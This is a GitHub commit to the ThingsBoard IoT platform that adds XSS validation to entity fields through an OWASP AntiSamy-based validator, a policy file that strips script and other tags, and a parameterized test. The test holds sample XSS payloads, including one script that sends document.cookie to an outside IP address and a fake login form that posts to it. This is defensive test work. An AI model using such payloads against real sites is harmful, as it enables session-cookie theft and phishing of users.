Provide additional validation for entities (#4326)

* Provide additional validation for entities

* Refactor

* Create test for NoXssValidator

* Refactor dependencies
This commit is contained in:
Viacheslav Klimov 2021-03-30 18:29:55 +03:00 committed by GitHub
parent fd3e18f18b
commit 593f95a7af
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
29 changed files with 650 additions and 11 deletions

View File

@ -36,6 +36,14 @@
</properties>
<dependencies>
<dependency>
<groupId>javax.validation</groupId>
<artifactId>validation-api</artifactId>
</dependency>
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>

View File

@ -18,11 +18,13 @@ package org.thingsboard.server.common.data;
import org.thingsboard.server.common.data.id.AdminSettingsId;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
public class AdminSettings extends BaseData<AdminSettingsId> {
private static final long serialVersionUID = -7670322981725511892L;
@NoXss
private String key;
private transient JsonNode jsonValue;

View File

@ -17,19 +17,28 @@ package org.thingsboard.server.common.data;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.id.UUIDBased;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public abstract class ContactBased<I extends UUIDBased> extends SearchTextBasedWithAdditionalInfo<I> implements HasName {
private static final long serialVersionUID = 5047448057830660988L;
@NoXss
protected String country;
@NoXss
protected String state;
@NoXss
protected String city;
@NoXss
protected String address;
@NoXss
protected String address2;
@NoXss
protected String zip;
@NoXss
protected String phone;
@NoXss
protected String email;
public ContactBased() {

View File

@ -20,13 +20,13 @@ import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.annotation.JsonProperty.Access;
import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.TenantId;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
public class Customer extends ContactBased<CustomerId> implements HasTenantId {
private static final long serialVersionUID = -1599722990298929275L;
@NoXss
private String title;
private TenantId tenantId;

View File

@ -25,6 +25,7 @@ import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.DeviceId;
import org.thingsboard.server.common.data.id.DeviceProfileId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -37,8 +38,11 @@ public class Device extends SearchTextBasedWithAdditionalInfo<DeviceId> implemen
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
@NoXss
private String label;
private DeviceProfileId deviceProfileId;
private transient DeviceData deviceData;

View File

@ -24,7 +24,9 @@ import org.thingsboard.server.common.data.device.profile.DeviceProfileData;
import org.thingsboard.server.common.data.id.DeviceProfileId;
import org.thingsboard.server.common.data.id.RuleChainId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -36,17 +38,22 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
public class DeviceProfile extends SearchTextBased<DeviceProfileId> implements HasName, HasTenantId {
private TenantId tenantId;
@NoXss
private String name;
@NoXss
private String description;
private boolean isDefault;
private DeviceProfileType type;
private DeviceTransportType transportType;
private DeviceProfileProvisionType provisionType;
private RuleChainId defaultRuleChainId;
@NoXss
private String defaultQueueName;
@Valid
private transient DeviceProfileData profileData;
@JsonIgnore
private byte[] profileDataBytes;
@NoXss
private String provisionDeviceKey;
public DeviceProfile() {

View File

@ -23,6 +23,7 @@ import org.thingsboard.server.common.data.id.EntityId;
import org.thingsboard.server.common.data.id.EntityViewId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.objects.TelemetryEntityView;
import org.thingsboard.server.common.data.validation.NoXss;
/**
* Created by Victor Basanets on 8/27/2017.
@ -39,7 +40,9 @@ public class EntityView extends SearchTextBasedWithAdditionalInfo<EntityViewId>
private EntityId entityId;
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
private TelemetryEntityView keys;
private long startTimeMs;

View File

@ -20,13 +20,16 @@ import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.id.TenantProfileId;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class Tenant extends ContactBased<TenantId> implements HasTenantId {
private static final long serialVersionUID = 8057243243859922101L;
@NoXss
private String title;
@NoXss
private String region;
private TenantProfileId tenantProfileId;

View File

@ -23,6 +23,7 @@ import lombok.extern.slf4j.Slf4j;
import org.thingsboard.server.common.data.id.TenantProfileId;
import org.thingsboard.server.common.data.tenant.profile.DefaultTenantProfileConfiguration;
import org.thingsboard.server.common.data.tenant.profile.TenantProfileData;
import org.thingsboard.server.common.data.validation.NoXss;
import java.io.ByteArrayInputStream;
import java.io.IOException;
@ -34,7 +35,9 @@ import static org.thingsboard.server.common.data.SearchTextBasedWithAdditionalIn
@Slf4j
public class TenantProfile extends SearchTextBased<TenantProfileId> implements HasName {
@NoXss
private String name;
@NoXss
private String description;
private boolean isDefault;
private boolean isolatedTbCore;

View File

@ -24,7 +24,7 @@ import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.id.UserId;
import org.thingsboard.server.common.data.security.Authority;
import com.fasterxml.jackson.databind.JsonNode;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements HasName, HasTenantId, HasCustomerId {
@ -35,7 +35,9 @@ public class User extends SearchTextBasedWithAdditionalInfo<UserId> implements H
private CustomerId customerId;
private String email;
private Authority authority;
@NoXss
private String firstName;
@NoXss
private String lastName;
public User() {

View File

@ -15,12 +15,15 @@
*/
package org.thingsboard.server.common.data.asset;
import com.fasterxml.jackson.databind.JsonNode;
import lombok.EqualsAndHashCode;
import org.thingsboard.server.common.data.*;
import org.thingsboard.server.common.data.HasCustomerId;
import org.thingsboard.server.common.data.HasName;
import org.thingsboard.server.common.data.HasTenantId;
import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
import org.thingsboard.server.common.data.id.AssetId;
import org.thingsboard.server.common.data.id.CustomerId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
@EqualsAndHashCode(callSuper = true)
public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements HasName, HasTenantId, HasCustomerId {
@ -29,8 +32,11 @@ public class Asset extends SearchTextBasedWithAdditionalInfo<AssetId> implements
private TenantId tenantId;
private CustomerId customerId;
@NoXss
private String name;
@NoXss
private String type;
@NoXss
private String label;
public Asset() {

View File

@ -17,15 +17,15 @@ package org.thingsboard.server.common.data.device.profile;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import lombok.Data;
import org.thingsboard.server.common.data.query.KeyFilter;
import javax.validation.Valid;
import java.util.List;
import java.util.concurrent.TimeUnit;
@Data
@JsonIgnoreProperties(ignoreUnknown = true)
public class AlarmCondition {
@Valid
private List<AlarmConditionFilter> condition;
private AlarmConditionSpec spec;

View File

@ -18,13 +18,19 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.query.EntityKeyValueType;
import org.thingsboard.server.common.data.query.KeyFilterPredicate;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class AlarmConditionFilter {
@Valid
private AlarmConditionFilterKey key;
private EntityKeyValueType valueType;
@NoXss
private Object value;
@Valid
private KeyFilterPredicate predicate;
}

View File

@ -16,11 +16,13 @@
package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
public class AlarmConditionFilterKey {
private final AlarmConditionKeyType type;
@NoXss
private final String key;
}

View File

@ -16,13 +16,18 @@
package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class AlarmRule {
@Valid
private AlarmCondition condition;
private AlarmSchedule schedule;
// Advanced
@NoXss
private String alarmDetails;
}

View File

@ -17,7 +17,9 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import org.thingsboard.server.common.data.alarm.AlarmSeverity;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
import java.util.List;
import java.util.TreeMap;
@ -25,9 +27,12 @@ import java.util.TreeMap;
public class DeviceProfileAlarm {
private String id;
@NoXss
private String alarmType;
@Valid
private TreeMap<AlarmSeverity, AlarmRule> createRules;
@Valid
private AlarmRule clearRule;
// Hidden in advanced settings

View File

@ -17,6 +17,7 @@ package org.thingsboard.server.common.data.device.profile;
import lombok.Data;
import javax.validation.Valid;
import java.util.List;
@Data
@ -25,6 +26,7 @@ public class DeviceProfileData {
private DeviceProfileConfiguration configuration;
private DeviceProfileTransportConfiguration transportConfiguration;
private DeviceProfileProvisionConfiguration provisionConfiguration;
@Valid
private List<DeviceProfileAlarm> alarms;
}

View File

@ -18,6 +18,7 @@ package org.thingsboard.server.common.data.query;
import com.fasterxml.jackson.annotation.JsonIgnore;
import lombok.Data;
import lombok.RequiredArgsConstructor;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
@RequiredArgsConstructor
@ -27,6 +28,7 @@ public class DynamicValue<T> {
private T resolvedValue;
private final DynamicValueSourceType sourceType;
@NoXss
private final String sourceAttribute;
private final boolean inherit;

View File

@ -20,15 +20,21 @@ import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fasterxml.jackson.annotation.JsonProperty;
import lombok.Data;
import lombok.Getter;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.Valid;
@Data
public class FilterPredicateValue<T> {
@Getter
@NoXss
private final T defaultValue;
@Getter
@NoXss
private final T userValue;
@Getter
@Valid
private final DynamicValue<T> dynamicValue;
public FilterPredicateValue(T defaultValue) {

View File

@ -17,10 +17,13 @@ package org.thingsboard.server.common.data.query;
import lombok.Data;
import javax.validation.Valid;
@Data
public class StringFilterPredicate implements SimpleKeyFilterPredicate<String> {
private StringOperation operation;
@Valid
private FilterPredicateValue<String> value;
private boolean ignoreCase;

View File

@ -26,6 +26,7 @@ import org.thingsboard.server.common.data.SearchTextBasedWithAdditionalInfo;
import org.thingsboard.server.common.data.id.RuleChainId;
import org.thingsboard.server.common.data.id.RuleNodeId;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
@Data
@EqualsAndHashCode(callSuper = true)
@ -35,6 +36,7 @@ public class RuleChain extends SearchTextBasedWithAdditionalInfo<RuleChainId> im
private static final long serialVersionUID = -5656679015121935465L;
private TenantId tenantId;
@NoXss
private String name;
private RuleNodeId firstRuleNodeId;
private boolean root;

View File

@ -0,0 +1,34 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.common.data.validation;
import javax.validation.Constraint;
import javax.validation.Payload;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.FIELD)
@Constraint(validatedBy = {})
public @interface NoXss {
String message() default "field value is malformed";
Class<?>[] groups() default {};
Class<? extends Payload>[] payload() default {};
}

View File

@ -107,6 +107,14 @@
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
</dependency>
<dependency>
<groupId>org.hibernate.validator</groupId>
<artifactId>hibernate-validator</artifactId>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
@ -194,6 +202,11 @@
<artifactId>hsqldb</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>

View File

@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
import com.fasterxml.jackson.databind.JsonNode;
import lombok.extern.slf4j.Slf4j;
import org.hibernate.validator.HibernateValidator;
import org.hibernate.validator.HibernateValidatorConfiguration;
import org.hibernate.validator.cfg.ConstraintMapping;
import org.thingsboard.server.common.data.BaseData;
import org.thingsboard.server.common.data.EntityType;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import org.thingsboard.server.dao.TenantEntityDao;
import org.thingsboard.server.dao.exception.DataValidationException;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.function.Function;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
@Slf4j
public abstract class DataValidator<D extends BaseData<?>> {
private static final Pattern EMAIL_PATTERN =
Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
private static Validator fieldsValidator;
static {
initializeFieldsValidator();
}
public void validate(D data, Function<D, TenantId> tenantIdFunction) {
try {
if (data == null) {
throw new DataValidationException("Data object can't be null!");
}
List<String> validationErrors = validateFields(data);
if (!validationErrors.isEmpty()) {
throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
}
TenantId tenantId = tenantIdFunction.apply(data);
validateDataImpl(tenantId, data);
if (data.getId() == null) {
@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
return emailMatcher.matches();
}
private List<String> validateFields(D data) {
Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
return constraintsViolations.stream()
.map(ConstraintViolation::getMessage)
.distinct()
.collect(Collectors.toList());
}
protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
TenantEntityDao tenantEntityDao,
long maxEntities,
@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
}
}
private static void initializeFieldsValidator() {
HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
validatorConfiguration.addMapping(constraintMapping);
fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
}
}

View File

@ -0,0 +1,57 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.dao.service;
import com.google.common.io.Resources;
import lombok.extern.slf4j.Slf4j;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.Policy;
import org.owasp.validator.html.PolicyException;
import org.owasp.validator.html.ScanException;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
@Slf4j
public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
private static final AntiSamy xssChecker = new AntiSamy();
private static Policy xssPolicy;
@Override
public void initialize(NoXss constraintAnnotation) {
if (xssPolicy == null) {
try {
xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
} catch (Exception e) {
log.error("Failed to set xss policy: {}", e.getMessage());
}
}
}
@Override
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
return true;
}
try {
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
} catch (ScanException | PolicyException e) {
return false;
}
}
}

View File

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!--
Copyright © 2016-2021 The Thingsboard Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<anti-samy-rules>
<directives>
<directive name="omitXmlDeclaration" value="true"/>
<directive name="omitDoctypeDeclaration" value="false"/>
<directive name="maxInputSize" value="100000"/>
<directive name="embedStyleSheets" value="false"/>
<directive name="useXHTML" value="true"/>
<directive name="formatOutput" value="true"/>
</directives>
<common-regexps>
<!--
From W3C:
This attribute assigns a class name or set of class names to an
element. Any number of elements may be assigned the same class
name or names. Multiple class names must be separated by white
space characters.
-->
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
<!-- force non-empty with a '+' at the end instead of '*'
-->
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
<!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
-->
<!-- ([\p{L}/ 0-9&amp;\#-.?=])*
-->
<regexp name="offsiteURL"
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
</common-regexps>
<common-attributes>
<attribute name="lang"
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
<regexp-list>
<regexp value="[a-zA-Z]{2,20}"/>
</regexp-list>
</attribute>
<attribute name="title"
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
<regexp-list>
<regexp name="htmlTitle"/>
</regexp-list>
</attribute>
<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
<attribute name="align"
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
<literal-list>
<literal value="center"/>
<literal value="left"/>
<literal value="right"/>
<literal value="justify"/>
<literal value="char"/>
</literal-list>
</attribute>
<attribute name="style"
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
</common-attributes>
<global-tag-attributes>
<attribute name="title"/>
<attribute name="lang"/>
<attribute name="style"/>
</global-tag-attributes>
<tags-to-encode>
<tag>g</tag>
<tag>grin</tag>
</tags-to-encode>
<tag-rules>
<tag name="script" action="remove"/>
<tag name="noscript" action="remove"/>
<tag name="iframe" action="remove"/>
<tag name="frameset" action="remove"/>
<tag name="frame" action="remove"/>
<tag name="noframes" action="remove"/>
<tag name="head" action="remove"/>
<tag name="title" action="remove"/>
<tag name="base" action="remove"/>
<tag name="style" action="remove"/>
<tag name="link" action="remove"/>
<tag name="input" action="remove"/>
<tag name="textarea" action="remove"/>
<tag name="br" action="remove"/>
<tag name="p" action="remove"/>
<tag name="div" action="remove"/>
<tag name="span" action="remove"/>
<tag name="i" action="remove"/>
<tag name="b" action="remove"/>
<tag name="strong" action="remove"/>
<tag name="s" action="remove"/>
<tag name="strike" action="remove"/>
<tag name="u" action="remove"/>
<tag name="em" action="remove"/>
<tag name="blockquote" action="remove"/>
<tag name="tt" action="remove"/>
<tag name="a" action="remove"/>
<tag name="ul" action="remove"/>
<tag name="ol" action="remove"/>
<tag name="li" action="remove"/>
<tag name="dl" action="remove"/>
<tag name="dt" action="remove"/>
<tag name="dd" action="remove"/>
</tag-rules>
<css-rules>
<property name="text-decoration" default="none"
description="">
<category-list>
<category value="visual"/>
</category-list>
<literal-list>
<literal value="underline"/>
<literal value="overline"/>
<literal value="line-through"/>
</literal-list>
</property>
</css-rules>
</anti-samy-rules>

View File

@ -0,0 +1,52 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.dao.service;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.ValueSource;
import javax.validation.ConstraintValidatorContext;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.mockito.Mockito.mock;
public class NoXssValidatorTest {
private static NoXssValidator validator;
@BeforeAll
public static void beforeAll() {
validator = new NoXssValidator();
validator.initialize(null);
}
@ParameterizedTest
@ValueSource(strings = {
"aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
"9090<body onload=alert('xsssss')>90909",
"qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
"bambam<script>alert(document.cookie)</script>",
"<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
"<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
" <img src= \"http://site.com/\" > ",
"123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
})
public void testIsNotValid(String stringWithXss) {
boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
assertFalse(isValid);
}
}

View File

@ -0,0 +1,162 @@
<?xml version="1.0" encoding="UTF-8" ?>
<!--
Copyright © 2016-2021 The Thingsboard Authors
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<anti-samy-rules>
<directives>
<directive name="omitXmlDeclaration" value="true"/>
<directive name="omitDoctypeDeclaration" value="false"/>
<directive name="maxInputSize" value="100000"/>
<directive name="embedStyleSheets" value="false"/>
<directive name="useXHTML" value="true"/>
<directive name="formatOutput" value="true"/>
</directives>
<common-regexps>
<!--
From W3C:
This attribute assigns a class name or set of class names to an
element. Any number of elements may be assigned the same class
name or names. Multiple class names must be separated by white
space characters.
-->
<regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
<!-- force non-empty with a '+' at the end instead of '*'
-->
<regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
<!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
-->
<!-- ([\p{L}/ 0-9&amp;\#-.?=])*
-->
<regexp name="offsiteURL"
value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
</common-regexps>
<common-attributes>
<attribute name="lang"
description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
<regexp-list>
<regexp value="[a-zA-Z]{2,20}"/>
</regexp-list>
</attribute>
<attribute name="title"
description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
<regexp-list>
<regexp name="htmlTitle"/>
</regexp-list>
</attribute>
<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
<attribute name="align"
description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
<literal-list>
<literal value="center"/>
<literal value="left"/>
<literal value="right"/>
<literal value="justify"/>
<literal value="char"/>
</literal-list>
</attribute>
<attribute name="style"
description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
</common-attributes>
<global-tag-attributes>
<attribute name="title"/>
<attribute name="lang"/>
<attribute name="style"/>
</global-tag-attributes>
<tags-to-encode>
<tag>g</tag>
<tag>grin</tag>
</tags-to-encode>
<tag-rules>
<tag name="script" action="remove"/>
<tag name="noscript" action="remove"/>
<tag name="iframe" action="remove"/>
<tag name="frameset" action="remove"/>
<tag name="frame" action="remove"/>
<tag name="noframes" action="remove"/>
<tag name="head" action="remove"/>
<tag name="title" action="remove"/>
<tag name="base" action="remove"/>
<tag name="style" action="remove"/>
<tag name="link" action="remove"/>
<tag name="input" action="remove"/>
<tag name="textarea" action="remove"/>
<tag name="br" action="remove"/>
<tag name="p" action="remove"/>
<tag name="div" action="remove"/>
<tag name="span" action="remove"/>
<tag name="i" action="remove"/>
<tag name="b" action="remove"/>
<tag name="strong" action="remove"/>
<tag name="s" action="remove"/>
<tag name="strike" action="remove"/>
<tag name="u" action="remove"/>
<tag name="em" action="remove"/>
<tag name="blockquote" action="remove"/>
<tag name="tt" action="remove"/>
<tag name="a" action="remove"/>
<tag name="ul" action="remove"/>
<tag name="ol" action="remove"/>
<tag name="li" action="remove"/>
<tag name="dl" action="remove"/>
<tag name="dt" action="remove"/>
<tag name="dd" action="remove"/>
</tag-rules>
<css-rules>
<property name="text-decoration" default="none"
description="">
<category-list>
<category value="visual"/>
</category-list>
<literal-list>
<literal value="underline"/>
<literal value="overline"/>
<literal value="line-through"/>
</literal-list>
</property>
</css-rules>
</anti-samy-rules>

41
pom.xml
View File

@ -47,6 +47,7 @@
<jjwt.version>0.7.0</jjwt.version>
<json-path.version>2.2.0</json-path.version>
<junit.version>4.12</junit.version>
<jupiter.version>5.7.1</jupiter.version>
<slf4j.version>1.7.7</slf4j.version>
<logback.version>1.2.3</logback.version>
<mockito.version>3.3.3</mockito.version>
@ -113,6 +114,10 @@
<protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
<wire-schema.version>3.4.0</wire-schema.version>
<twilio.version>7.54.2</twilio.version>
<hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
<javax.el.version>3.0.0</javax.el.version>
<javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
<antisamy.version>1.6.2</antisamy.version>
</properties>
<modules>
@ -1261,6 +1266,12 @@
<version>${junit.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
<version>${jupiter.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.dbunit</groupId>
<artifactId>dbunit</artifactId>
@ -1458,6 +1469,36 @@
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.hibernate.validator</groupId>
<artifactId>hibernate-validator</artifactId>
<version>${hibernate-validator.version}</version>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
<version>${javax.el.version}</version>
</dependency>
<dependency>
<groupId>javax.validation</groupId>
<artifactId>validation-api</artifactId>
<version>${javax.validation-api.version}</version>
</dependency>
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>${antisamy.version}</version>
<exclusions>
<exclusion>
<groupId>org.slf4j</groupId>
<artifactId>*</artifactId>
</exclusion>
<exclusion>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-annotations</artifactId>
</exclusion>
</exclusions>
</dependency>
</dependencies>
</dependencyManagement>